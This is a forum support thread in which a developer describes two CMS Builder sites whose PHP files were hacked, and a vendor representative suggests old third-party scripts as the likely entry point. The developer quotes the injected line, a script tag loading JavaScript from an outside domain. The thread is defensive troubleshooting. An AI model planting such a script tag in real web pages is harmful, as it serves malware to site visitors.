Website hack

Hi Kenny, thanks for your quick reply.

To answer your questions:

1. The files that have been identified as being hacked are PHP files. For both sites the index.php file has been affected, and one of the sites has a couple of other PHP files in the root directory that have been edited.

2. I have tried to login to the CMS to obtain the version number, however my client has changed the password for this and the FTP for security reasons and hasn't supplied the new details yet. It was downloaded in February so whatever the latest version was then is what's installed.

3. The line of code put into the PHP was quite simple and calls - <script src=''http"//b.nt002.cn/E/J.js></script>. All browsers have alerted that this site poses a security risk and therefore hasn't affected my computer or others as far as I'm aware. It does however mean that the sites are not accessible at present.

One of the sites is a completely Flash driven site, and all the CMS does is provide a front end for the client to enter the data. I then have written a script that converts the database info into XML so that it can be read by Flash. There is no code that actually feeds data into the PHP page for this site. The other site affected however displays database inforamtion using CMS builder functions.

These are both websites for small business and there is no reason why someone would specifically hack them. I think it's something that's automated that's found a loophole in both sites.

I have tested 3 other website I have created that use CMS builder and all have older versions of the CMS (which will soon be updated) and they are fine so far.

The things that the affected sites have in common are:

- Use CMS builder of course
- Have Flash elements in the index.php file
- Have been updated by myself and my client (who does basic site management only such as uploading via FTP and updating via CMS builder).

Thanks for your help and I hope this information can narrow down what the problem is.

Hi cnorthey,

We've never had a site hacked through CMS Builder, and there's never been a security issue that would allow that. So it's almost certainly not CMS Builder.

The usual entry point is open source forums, email form, and blog software. Since these are so common hackers write automated scanners to look for vulnerable versions. Do you clients have any of those scripts on their sites? Even if they are old and no longer used, the hackers scan for the automatically using known paths.

In the 1-2 reports a month we hear of someone getting their site hacked, that has almost always been the cause.

Let me know what you find out or if you need more help tracking it down.